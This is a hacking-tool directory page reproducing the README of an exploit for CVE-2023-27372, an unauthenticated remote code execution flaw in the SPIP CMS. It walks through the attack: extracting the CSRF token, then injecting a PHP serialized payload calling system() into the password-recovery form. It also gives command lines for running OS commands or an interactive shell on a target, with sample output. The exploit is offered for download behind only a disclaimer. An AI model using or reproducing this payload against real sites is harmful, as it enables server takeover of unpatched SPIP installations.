Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/scriniariii/cve-2023-27372
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubscriniariii/cve-2023-27372

CVE-2023-27372

Exploit for CVE-2023-27372 with interactiev shell

View Repository
247 months agoNot yet reviewed
Share

CVE-2023-27372 Exploit

Exploit for CVE-2023-27372, an unauthenticated Remote Code Execution vulnerability in the SPIP CMS affecting versions prior to 4.2.1.

⚠️ For educational purposes only. Use exclusively on systems you own or have explicit written permission to test. Unauthorized use is illegal.


Overview

SPIP is an open-source CMS widely used for web publishing. This vulnerability exists in the password recovery form (/spip.php?page=spip_pass), where the oubli parameter is processed without proper sanitization, allowing an attacker to inject and execute arbitrary PHP code on the server — with no authentication required.

FieldDetails
CVECVE-2023-27372
CVSS Score9.8 (Critical)
Attack VectorNetwork
AuthenticationNone required
Affected versionsSPIP < 4.2.1
Vulnerability typeCode Injection / Unauthenticated RCE

How It Works

  1. Fetch CSRF token — A GET request is made to /spip.php?page=spip_pass to extract the formulaire_action_args token from the HTML form.

  2. Build the payload — A PHP serialized string is crafted with the command to execute:

    s:N:"<?php system('COMMAND'); ?>";
    

    Where N is the exact byte length of the inner PHP string.

  3. Send the payload — A POST request is made with the crafted payload in the oubli field alongside the CSRF token. SPIP processes this field without sanitization and executes the injected PHP code.

  4. Extract the output — The command output is returned inside the HTML response and parsed from the value attribute of the oubli input field.

Requirements

  • Python 3.x
  • requests
  • beautifulsoup4
  • argparse
  • regex

Installation


git clone https://github.com/scriniarii/CVE-2023-27372

cd CVE-2023-27372

pip install requests beautifulsoup4

Usage

python3 exploit.py -u <URL> -c <command>
ArgumentDescription
-u, --urlBase URL of the target SPIP instance
-c, --commandOS command to execute on the target
-s, --shellInteractive shell

Example


python3 exploit.py -u http://TARGET/ -c "id"

python3 exploit.py -u http://TARGET/ -s

Expected output:

[+] Token found : JWDCxt5PTFzhPb...
 
[+] Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Affected Versions

To check the SPIP version of a target, look for the meta generator tag in the HTML:

<meta name="generator" content="SPIP 4.2.0" />

[!CAUTION]
⚠️ Disclaimer
Please use the information and exploits provided in my repositories for educational purposes and responsible disclosure only. I am not responsible for any misuse or damage caused by using these tools, scripts or exploits.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    871
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    548
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    383
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    361
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    305
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    280

Explore all tools

Browse our collection of tools

View all tools →